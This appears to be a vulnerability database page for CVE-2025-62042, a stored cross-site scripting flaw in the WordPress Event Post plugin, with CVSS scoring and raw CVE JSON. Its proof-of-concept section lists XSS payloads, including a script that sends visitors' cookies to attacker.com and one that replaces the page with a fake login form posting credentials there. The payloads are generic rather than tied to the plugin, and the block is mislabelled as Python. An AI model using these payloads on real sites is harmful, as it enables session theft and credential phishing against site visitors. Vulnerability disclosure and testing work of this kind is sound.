Security Vulnerability Report
中文
CVE-2025-62042 CVSS 6.5 MEDIUM

CVE-2025-62042

Published: 2025-10-22 15:16:04
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bastien Ho Event post event-post.This issue affects Event post: from n/a through <= 5.10.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Event Post <= 5.10.3(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62042 PoC - WordPress Event Post XSS --> <!-- This PoC demonstrates the stored XSS vulnerability in Event Post plugin --> <!-- Method 1: Using img tag with onerror event --> <script>alert(document.cookie)</script> <!-- Method 2: Using event attributes --> <img src=x onerror=alert('XSS')> <!-- Method 3: Using svg tag --> <svg onload=alert(document.domain)> <!-- Method 4: Cookie stealing payload --> <script> var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie); </script> <!-- Practical exploitation payload --> <script> // Create fake login form to phish credentials var form = '<form action="https://attacker.com/phish" method="POST">'; form += '<input name="username" placeholder="Username">'; form += '<input name="password" type="password" placeholder="Password">'; form += '<input type="submit" value="Login"></form>'; document.body.innerHTML = form; </script> <!-- Note: In real attack, these payloads would be injected into --> <!-- Event Post title, description, or other input fields -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62042", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:04.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bastien Ho Event post event-post.This issue affects Event post: from n/a through <= 5.10.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/event-post/vulnerability/wordpress-event-post-plugin-5-10-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}